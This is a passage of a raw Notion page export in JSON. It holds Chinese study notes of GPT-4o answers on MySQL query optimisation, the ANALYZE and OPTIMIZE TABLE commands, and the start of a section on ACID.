-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6","e027b6fc-d75a-43a9-92b1-d5872e5b0780","1fc93bf5-4631-4f85-90f5-362d6a9f69d5","4a3f60f2-b147-4303-b805-e3c775b287a5","c456b9e9-f33f-4c0f-a198-5e90d708c5e4","95d5d8be-c6d5-44e4-a06c-bbb8b5532918"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1733470638099,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"afb184f8-1891-4061-a5d6-446a356b94b4":{"value":{"id":"afb184f8-1891-4061-a5d6-446a356b94b4","type":"table_of_contents","format":{"block_color":"gray","copied_from_pointer":{"id":"5f00de39-e6c3-408e-b834-587b0eb94da1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716603973496,"last_edited_time":1716603973496,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"5f00de39-e6c3-408e-b834-587b0eb94da1"}},"16fa29c9-3271-4c9e-b1e1-792591ea15cc":{"value":{"id":"16fa29c9-3271-4c9e-b1e1-792591ea15cc","type":"callout","properties":{"title":[["以下内容基于GPT-4o模型"]]},"format":{"page_icon":"⚙","block_color":"gray_background","copied_from_pointer":{"id":"812e10bf-cb8b-4e57-98d3-4b471e6ff202","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716603973497,"last_edited_time":1716604009584,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"812e10bf-cb8b-4e57-98d3-4b471e6ff202"}},"a1ae08f1-3f41-4977-9602-0be8085322fd":{"value":{"id":"a1ae08f1-3f41-4977-9602-0be8085322fd","type":"header","properties":{"title":[["问题"]]},"format":{"copied_from_pointer":{"id":"a80c9440-091b-4709-81d1-fe0fdda36765","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716603973498,"last_edited_time":1716603973498,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"a80c9440-091b-4709-81d1-fe0fdda36765"}},"6c300527-0009-46ab-ac0e-3e8fb451ecda":{"value":{"id":"6c300527-0009-46ab-ac0e-3e8fb451ecda","type":"sub_header","properties":{"title":[["1.MySQL查询如何优化"]]},"format":{"copied_from_pointer":{"id":"123e0696-cb36-49bf-a3ff-f6885ebdd4ac","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716603973494,"last_edited_time":1716604084508,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"123e0696-cb36-49bf-a3ff-f6885ebdd4ac"}},"1cd33685-9ce8-4f8c-885d-3242a697ee5c":{"value":{"id":"1cd33685-9ce8-4f8c-885d-3242a697ee5c","type":"sub_sub_header","properties":{"title":[["GPT问答"]]},"format":{"copied_from_pointer":{"id":"00f67ff9-b403-4852-b74c-93a0db21b10b","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716605269864,"last_edited_time":1716605269869,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"00f67ff9-b403-4852-b74c-93a0db21b10b"}},"3f0bd42a-bbe6-4ff7-a330-026ebdd0ca8c":{"value":{"id":"3f0bd42a-bbe6-4ff7-a330-026ebdd0ca8c","type":"quote","properties":{"title":[["MySQL查询如何优化"]]},"format":{"copied_from_pointer":{"id":"0f498836-0e73-4d14-b0d9-797d1886a7e4","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716605269865,"last_edited_time":1716605275394,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"0f498836-0e73-4d14-b0d9-797d1886a7e4"}},"e71ac58d-d9dc-4688-b06a-6c6db580f879":{"value":{"id":"e71ac58d-d9dc-4688-b06a-6c6db580f879","type":"text","properties":{"title":[["优化 MySQL 查询可以从多个方面入手,包括"],["查询设计",[["b"]]],["、"],["索引使用",[["b"]]],["、"],["数据库结构",[["b"]]],["、"],["配置调整",[["b"]]],["等。下面是一些常见的优化策略:"]]},"created_time":1716605302314,"last_edited_time":1716605358776,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"a98c0adc-bdc6-4823-ba59-6f06af25f18b":{"value":{"id":"a98c0adc-bdc6-4823-ba59-6f06af25f18b","type":"text","properties":{"title":[["尽量不要使用 "],["SELECT *",[["c"]]],[",而是明确指定需要的列,减少不必要的数据传输。"]]},"created_time":1716605302314,"last_edited_time":1716605302326,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"f6c41e96-a61d-4b63-b09e-6ba538fc8183":{"value":{"id":"f6c41e96-a61d-4b63-b09e-6ba538fc8183","type":"code","properties":{"title":[["SELECT column1, column2 FROM table_name WHERE condition;"]],"language":[["SQL"]]},"format":{"code_wrap":true},"created_time":1716605302314,"last_edited_time":1716605339285,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"4729a4c5-8eba-420b-9f60-c9f65da221c5":{"value":{"id":"4729a4c5-8eba-420b-9f60-c9f65da221c5","type":"text","properties":{"title":[["尽量使用 "],["WHERE",[["c"]]],[" 子句减少返回的数据量。"]]},"created_time":1716605302314,"last_edited_time":1716605302326,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"f1a3236f-61e1-4ec4-8298-71732e0f732c":{"value":{"id":"f1a3236f-61e1-4ec4-8298-71732e0f732c","type":"code","properties":{"title":[["SELECT column1, column2 FROM table_name WHERE condition;"]],"language":[["SQL"]]},"format":{"code_wrap":true},"created_time":1716605302314,"last_edited_time":1716605361891,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"73bee65b-b0a4-49b0-a876-7fe6a1b7239e":{"value":{"id":"73bee65b-b0a4-49b0-a876-7fe6a1b7239e","type":"text","properties":{"title":[["如果只需要前 N 条记录,可以使用 "],["LIMIT",[["c"]]],["。"]]},"created_time":1716605302315,"last_edited_time":1716605302326,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"54e01637-963e-463a-97d3-750e5215b895":{"value":{"id":"54e01637-963e-463a-97d3-750e5215b895","type":"code","properties":{"title":[["SELECT column1, column2 FROM table_name WHERE condition LIMIT 10;"]],"language":[["SQL"]]},"format":{"code_wrap":true},"created_time":1716605302315,"last_edited_time":1716605407240,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"671b51d3-429a-41b2-8b90-962a0657d02d":{"value":{"id":"671b51d3-429a-41b2-8b90-962a0657d02d","type":"text","properties":{"title":[["尽量避免在 "],["WHERE",[["c"]]],[" 子句中使用函数操作,因为这可能导致索引失效。"]]},"created_time":1716605302315,"last_edited_time":1716605302326,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"f3f7b953-82f3-4c1b-af5b-f2e1450a8cc0":{"value":{"id":"f3f7b953-82f3-4c1b-af5b-f2e1450a8cc0","type":"code","properties":{"title":[["-- 不推荐\nSELECT * FROM table_name WHERE YEAR(date_column) = 2023;\n\n-- 推荐\nSELECT * FROM table_name WHERE date_column BETWEEN '2023-01-01' AND '2023-12-31';"]],"language":[["SQL"]]},"format":{"code_wrap":true},"created_time":1716605302315,"last_edited_time":1716605408740,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"8c922705-566f-4477-a264-0d33299687e1":{"value":{"id":"8c922705-566f-4477-a264-0d33299687e1","type":"text","properties":{"title":[["覆盖索引包含了查询所需的所有列,避免了回表操作。"]]},"created_time":1716605302315,"last_edited_time":1716605302326,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"05bce745-d9f0-4bc5-bfee-95f355db2a93":{"value":{"id":"05bce745-d9f0-4bc5-bfee-95f355db2a93","type":"code","properties":{"title":[["CREATE INDEX index_name ON table_name (column1, column2, column3);"]],"language":[["SQL"]]},"format":{"code_wrap":true},"created_time":1716605302315,"last_edited_time":1716605404889,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"ba531f6b-893c-4e50-9f99-49fc05583301":{"value":{"id":"ba531f6b-893c-4e50-9f99-49fc05583301","type":"text","properties":{"title":[["使用 "],["EXPLAIN",[["c"]]],[" 检查查询使用了哪些索引,并分析查询计划。"]]},"created_time":1716605302315,"last_edited_time":1716605420228,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"a4bf15e6-a219-4ca6-93c3-a06a17b11af6":{"value":{"id":"a4bf15e6-a219-4ca6-93c3-a06a17b11af6","type":"code","properties":{"title":[["EXPLAIN SELECT column1, column2 FROM table_name WHERE condition;"]],"language":[["SQL"]]},"format":{"code_wrap":true},"created_time":1716605302317,"last_edited_time":1716605416511,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"2cbac90c-ae29-4c78-bb7e-518f840c3f42":{"value":{"id":"2cbac90c-ae29-4c78-bb7e-518f840c3f42","type":"text","properties":{"title":[["对于大表,可以考虑使用分区表来提高性能。"]]},"created_time":1716605302317,"last_edited_time":1716605302326,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"e09cf5e9-edb2-4cb2-9a38-4e16c71d1318":{"value":{"id":"e09cf5e9-edb2-4cb2-9a38-4e16c71d1318","type":"code","properties":{"title":[["CREATE TABLE table_name (\n id INT,\n name VARCHAR(50),\n date_column DATE\n) PARTITION BY RANGE (YEAR(date_column)) (\n PARTITION p0 VALUES LESS THAN (2020),\n PARTITION p1 VALUES LESS THAN (2021),\n PARTITION p2 VALUES LESS THAN (2022),\n PARTITION p3 VALUES LESS THAN MAXVALUE\n);"]],"language":[["SQL"]]},"format":{"code_wrap":true},"created_time":1716605302317,"last_edited_time":1716605446542,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"a07360db-e6f5-4532-a01c-cdaafcf7b0c6":{"value":{"id":"a07360db-e6f5-4532-a01c-cdaafcf7b0c6","type":"text","properties":{"title":[["调整 "],["innodb_buffer_pool_size",[["c"]]],[" 等参数,提高内存使用效率。"]]},"created_time":1716605302317,"last_edited_time":1716605302326,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"31afe90c-5fd8-4226-87d5-52f8618b5902":{"value":{"id":"31afe90c-5fd8-4226-87d5-52f8618b5902","type":"code","properties":{"title":[["SET GLOBAL innodb_buffer_pool_size = 2G;"]],"language":[["SQL"]]},"format":{"code_wrap":true},"created_time":1716605302317,"last_edited_time":1716605448228,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"06c3d870-97ce-4e12-a185-88ba1bd7f670":{"value":{"id":"06c3d870-97ce-4e12-a185-88ba1bd7f670","type":"text","properties":{"title":[["根据实际需求调整最大连接数 "],["max_connections",[["c"]]],["。"]]},"created_time":1716605302317,"last_edited_time":1716605302326,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"13c12d42-ad21-4fc4-92b1-907f14bdf106":{"value":{"id":"13c12d42-ad21-4fc4-92b1-907f14bdf106","type":"code","properties":{"title":[["SET GLOBAL max_connections = 200;"]],"language":[["SQL"]]},"format":{"code_wrap":true},"created_time":1716605302317,"last_edited_time":1716605452196,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"887fb158-e5e2-4e75-bfe5-4b43497dda7e":{"value":{"id":"887fb158-e5e2-4e75-bfe5-4b43497dda7e","type":"text","properties":{"title":[["定期执行 "],["ANALYZE TABLE",[["c"]]],[" 和 "],["OPTIMIZE TABLE",[["c"]]],["。"]]},"created_time":1716605302317,"last_edited_time":1716605302326,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"aff02daa-ea8c-4a5c-92d8-f415318c9ef1":{"value":{"id":"aff02daa-ea8c-4a5c-92d8-f415318c9ef1","type":"code","properties":{"title":[["ANALYZE TABLE table_name;\nOPTIMIZE TABLE table_name;"]],"language":[["SQL"]]},"format":{"code_wrap":true},"created_time":1716605302317,"last_edited_time":1716605550789,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"d4716f0c-7b29-41a4-aa41-54ddfe47cb4d":{"value":{"id":"d4716f0c-7b29-41a4-aa41-54ddfe47cb4d","type":"text","properties":{"title":[["合理使用事务,避免长时间占用锁资源。"]]},"created_time":1716605302318,"last_edited_time":1716605302326,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"ebaef3bd-a837-4b90-9636-a8fd716ab741":{"value":{"id":"ebaef3bd-a837-4b90-9636-a8fd716ab741","type":"code","properties":{"title":[["START TRANSACTION;\n-- your SQL statements\nCOMMIT;"]],"language":[["SQL"]]},"format":{"code_wrap":true},"created_time":1716605302318,"last_edited_time":1716605492245,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"bf4f99e0-404f-4f66-b419-6b7f79bcf41f":{"value":{"id":"bf4f99e0-404f-4f66-b419-6b7f79bcf41f","type":"divider","format":{"copied_from_pointer":{"id":"3099fe24-e697-4ca7-a0a6-99e988cda663","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716605269865,"last_edited_time":1716605585955,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"3099fe24-e697-4ca7-a0a6-99e988cda663"}},"c202a786-7472-435d-a2d4-10937134ab03":{"value":{"id":"c202a786-7472-435d-a2d4-10937134ab03","type":"text","created_time":1716605886828,"last_edited_time":1716605891455,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"3ad9d291-eb52-4331-ada6-cf0b87e4b5ff":{"value":{"id":"3ad9d291-eb52-4331-ada6-cf0b87e4b5ff","type":"quote","properties":{"title":[["ANALYZE OPTIMIZE 这两个语句有啥用"]]},"format":{"copied_from_pointer":{"id":"3f0bd42a-bbe6-4ff7-a330-026ebdd0ca8c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716605888114,"last_edited_time":1716605916310,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"3f0bd42a-bbe6-4ff7-a330-026ebdd0ca8c"}},"ec11b890-0ba0-4398-bb50-b0ede6a348f0":{"value":{"id":"ec11b890-0ba0-4398-bb50-b0ede6a348f0","type":"text","properties":{"title":[["ANALYZE TABLE",[["c"]]],[" 和 "],["OPTIMIZE TABLE",[["c"]]],[" 是 MySQL 提供的用于维护和优化表的两种重要命令。它们在不同的方面帮助提高数据库的性能和效率。"]]},"created_time":1716605920940,"last_edited_time":1716605920950,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"f9ae5012-f84f-4ac3-9521-88bd237c4fc8":{"value":{"id":"f9ae5012-f84f-4ac3-9521-88bd237c4fc8","type":"text","properties":{"title":[["ANALYZE TABLE",[["c"]]],[" 命令用于更新表的统计信息。优化器使用这些统计信息来生成查询执行计划,从而选择最优的查询路径。"]]},"created_time":1716605920940,"last_edited_time":1716605920950,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"b5521e0e-0c0d-4f9c-a5f7-eb7d356a764c":{"value":{"id":"b5521e0e-0c0d-4f9c-a5f7-eb7d356a764c","type":"bulleted_list","properties":{"title":[["更新表的索引统计信息。"]]},"created_time":1716605920940,"last_edited_time":1716605920950,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"426a684f-d72b-40d5-8741-4d77a5086275":{"value":{"id":"426a684f-d72b-40d5-8741-4d77a5086275","type":"bulleted_list","properties":{"title":[["帮助优化器选择最优的索引和查询路径。"]]},"created_time":1716605920940,"last_edited_time":1716605920950,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"ff8c3cc1-d607-4111-af71-9d84e5f61add":{"value":{"id":"ff8c3cc1-d607-4111-af71-9d84e5f61add","type":"bulleted_list","properties":{"title":[["当表中有大量数据插入、更新或删除操作后,统计信息可能会变得不准确,这时需要重新分析表。"]]},"created_time":1716605920941,"last_edited_time":1716605920950,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"47aab0eb-a2d4-438f-bd7e-0daa1e6d44ff":{"value":{"id":"47aab0eb-a2d4-438f-bd7e-0daa1e6d44ff","type":"bulleted_list","properties":{"title":[["当查询性能下降,优化器可能无法选择最佳索引时,可以使用 "],["ANALYZE TABLE",[["c"]]],[" 来更新统计信息。"]]},"created_time":1716605920941,"last_edited_time":1716605920950,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"2d87748f-20ee-4979-8b7d-8aef412c005a":{"value":{"id":"2d87748f-20ee-4979-8b7d-8aef412c005a","type":"code","properties":{"title":[["ANALYZE TABLE table_name;"]],"language":[["SQL"]]},"format":{"code_wrap":true},"created_time":1716605920941,"last_edited_time":1716605950836,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"c0e49b2f-d983-4873-82c3-ac6e75f26f73":{"value":{"id":"c0e49b2f-d983-4873-82c3-ac6e75f26f73","type":"text","properties":{"title":[["OPTIMIZE TABLE",[["c"]]],[" 命令用于重组织表的数据和索引。这对于定期维护表的性能非常有用,尤其是在大量数据删除或更新操作后。"]]},"created_time":1716605920941,"last_edited_time":1716605920950,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"ac133f0f-b53a-47c0-8cdd-af4da6599fce":{"value":{"id":"ac133f0f-b53a-47c0-8cdd-af4da6599fce","type":"bulleted_list","properties":{"title":[["重建表和索引,释放未使用的空间。"]]},"created_time":1716605920941,"last_edited_time":1716605920950,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"9a06ce9e-e535-4976-b27e-8271ee3710a8":{"value":{"id":"9a06ce9e-e535-4976-b27e-8271ee3710a8","type":"bulleted_list","properties":{"title":[["压缩表和索引,提高访问效率。"]]},"created_time":1716605920941,"last_edited_time":1716605920950,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"c96be004-3950-4510-8c43-9f2106ed7ba7":{"value":{"id":"c96be004-3950-4510-8c43-9f2106ed7ba7","type":"bulleted_list","properties":{"title":[["对 "],["InnoDB",[["c"]]],[" 表,效果类似于 "],["ALTER TABLE ... ENGINE=InnoDB",[["c"]]],[",会进行表的重建。"]]},"created_time":1716605920941,"last_edited_time":1716605920950,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"75490485-c2e9-451f-acbe-5b5df641fb63":{"value":{"id":"75490485-c2e9-451f-acbe-5b5df641fb63","type":"bulleted_list","properties":{"title":[["当表中有大量的数据插入、删除或更新操作后,可能会产生碎片,导致查询性能下降,这时可以使用 "],["OPTIMIZE TABLE",[["c"]]],["。"]]},"created_time":1716605920942,"last_edited_time":1716605920950,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"9ea4f154-594e-43fc-94ed-306f470b7a54":{"value":{"id":"9ea4f154-594e-43fc-94ed-306f470b7a54","type":"bulleted_list","properties":{"title":[["定期维护表的性能,尤其是对于写操作频繁的表。"]]},"created_time":1716605920942,"last_edited_time":1716605920950,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"bee074a2-0070-4d59-9f46-e5ff6031daa3":{"value":{"id":"bee074a2-0070-4d59-9f46-e5ff6031daa3","type":"code","properties":{"title":[["OPTIMIZE TABLE table_name;"]],"language":[["SQL"]]},"format":{"code_wrap":true},"created_time":1716605920942,"last_edited_time":1716606228358,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"a592621e-70a0-498b-bfb7-4960555ddefb":{"value":{"id":"a592621e-70a0-498b-bfb7-4960555ddefb","type":"text","properties":{"title":[["区别和联系"]]},"created_time":1716605920942,"last_edited_time":1716606231039,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"4534a05f-2ce0-4493-9b40-7a5ea6d87a2a":{"value":{"id":"4534a05f-2ce0-4493-9b40-7a5ea6d87a2a","type":"bulleted_list","properties":{"title":[["ANALYZE TABLE",[["c"]]],[" 主要是更新统计信息,帮助优化器选择最佳的查询路径。"]]},"created_time":1716605920942,"last_edited_time":1716605920950,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"a6f89351-a2d9-474e-b9ad-a3eeffd9397d":{"value":{"id":"a6f89351-a2d9-474e-b9ad-a3eeffd9397d","type":"bulleted_list","properties":{"title":[["OPTIMIZE TABLE",[["c"]]],[" 主要是重组织表和索引,释放未使用的空间并压缩数据。"]]},"created_time":1716605920942,"last_edited_time":1716605920950,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"824749bc-5ab4-40d6-804f-2b21a746656b":{"value":{"id":"824749bc-5ab4-40d6-804f-2b21a746656b","type":"text","properties":{"title":[["这两个命令可以配合使用,以保持表的高效运行。一般来说,"],["ANALYZE TABLE",[["c"]]],[" 可以更频繁地使用,而 "],["OPTIMIZE TABLE",[["c"]]],[" 可以定期使用,特别是在进行大量数据操作之后。"]]},"created_time":1716605920942,"last_edited_time":1716605920950,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"400d6f54-ae9e-437d-a070-56b6be629f57":{"value":{"id":"400d6f54-ae9e-437d-a070-56b6be629f57","type":"divider","created_time":1716605970419,"last_edited_time":1716605970420,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"83f1ebad-4899-41db-9bb3-daad8d2eaee8":{"value":{"id":"83f1ebad-4899-41db-9bb3-daad8d2eaee8","type":"sub_sub_header","properties":{"title":[["总结"]]},"created_time":1716605302318,"last_edited_time":1716605302326,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"088a9a3a-41fb-4c89-bedf-1476ca7394a6":{"value":{"id":"088a9a3a-41fb-4c89-bedf-1476ca7394a6","type":"bulleted_list","properties":{"title":[["查询优化就是索引"]]},"created_time":1716605302318,"last_edited_time":1716607019685,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"d50b9273-022f-4fc3-8a5f-fa8f65928e32":{"value":{"id":"d50b9273-022f-4fc3-8a5f-fa8f65928e32","type":"bulleted_list","properties":{"title":[["不要用函数,覆盖索引这些,还有qps大的接口能走联合索引要搞"]]},"created_time":1716607019849,"last_edited_time":1716607064669,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"15105753-99e1-4851-8ef0-2d62d1706415":{"value":{"id":"15105753-99e1-4851-8ef0-2d62d1706415","type":"bulleted_list","properties":{"title":[["前缀匹配是优化磁盘的时候考虑,数据量小就别考虑了"]]},"created_time":1716607065548,"last_edited_time":1716607118354,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"8423846a-3687-4b59-bf9f-02e5c41c4ed8":{"value":{"id":"8423846a-3687-4b59-bf9f-02e5c41c4ed8","type":"bulleted_list","properties":{"title":[["ANALYZE",[["c"]]],["和"],["OPTIMIZE",[["c"]]],["在数据大规模增加删除的时候有用"]]},"created_time":1716607118822,"last_edited_time":1716607155888,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"47ef9f70-489a-4b7d-939c-024dfb405688":{"value":{"id":"47ef9f70-489a-4b7d-939c-024dfb405688","type":"sub_header","properties":{"title":[["2.MySQL的 ACID理解,如何保证的,MySQL底层架构是啥"]]},"format":{"copied_from_pointer":{"id":"b4b6d9cd-3f4b-4684-af15-579b2e5ef58b","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716603973498,"last_edited_time":1716604087693,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"b4b6d9cd-3f4b-4684-af15-579b2e5ef58b"}},"690bd9c2-b675-4f33-9d61-03dd26c4811f":{"value":{"id":"690bd9c2-b675-4f33-9d61-03dd26c4811f","type":"sub_sub_header","properties":{"title":[["GPT问答"]]},"format":{"copied_from_pointer":{"id":"00f67ff9-b403-4852-b74c-93a0db21b10b","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716605268535,"last_edited_time":1716605268542,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"00f67ff9-b403-4852-b74c-93a0db21b10b"}},"4c9a066b-6290-4d7b-90d9-1f8b19751f8b":{"value":{"id":"4c9a066b-6290-4d7b-90d9-1f8b19751f8b","type":"quote","properties":{"title":[["MySQL的 ACID理解,如何保证的"]]},"format":{"copied_from_pointer":{"id":"0f498836-0e73-4d14-b0d9-797d1886a7e4","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716605268535,"last_edited_time":1716607177456,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"0f498836-0e73-4d14-b0d9-797d1886a7e4"}},"98aedc7d-6418-4500-91ef-acab6c127392":{"value":{"id":"98aedc7d-6418-4500-91ef-acab6c127392","type":"text","properties":{"title":[["MySQL 是一种关系型数据库管理系统,它通过实现 ACID(Atomicity, Consistency, Isolation, Durability)属性来确保事务处理的可靠性和数据的完整性。以下是对 ACID 属性的理解以及 MySQL 如何保证这些属性:"]]},"created_time":1716607189175,"last_edited_time":1716607189191,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"231efe1a-1b3d-43bc-9699-b850fbaab445":{"value":{"id":"231efe1a-1b3d-43bc-9699-b850fbaab445","type":"text","properties":{"title":[["\n原子性确保事务中的所有操作要么全部完成,要么全部不完成。如果事务中的任何操作失败,则整个事务回滚到最初状态。"]]},"created_time":1716607189175,"last_edited_time":1716607201701,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"ce7e3743-52b1-4c90-ba7b-788f9c93dbb3":{"value":{"id":"ce7e3743-52b1-4c90-ba7b-788f9c93dbb3","type":"text","properties":{"title":[["如何保证:",[["b"]]],["\nMySQL 使用事务日志(如 InnoDB 的 redo log 和 undo log)来实现原子性。"]]},"created_time":1716607189176,"last_edited_time":1716607189191,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"7c7d2d1a-733b-47d9-a300-394d2fd3d8cf":{"value":{"id":"7c7d2d1a-733b-47d9-a300-394d2fd3d8cf","type":"bulleted_list","properties":{"title":[["Redo Log",[["b"]]],[" 记录了修改的数据,用于在系统崩溃后恢复数据。"]]},"created_time":1716607189176,"last_edited_time":1716607189191,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"6d8f7f05-8070-4ea9-bb89-8d041cc7a173":{"value":{"id":"6d8f7f05-8070-4ea9-bb89-8d041cc7a173","type":"bulleted_list","properties":{"title":[["Undo Log",[["b"]]],[" 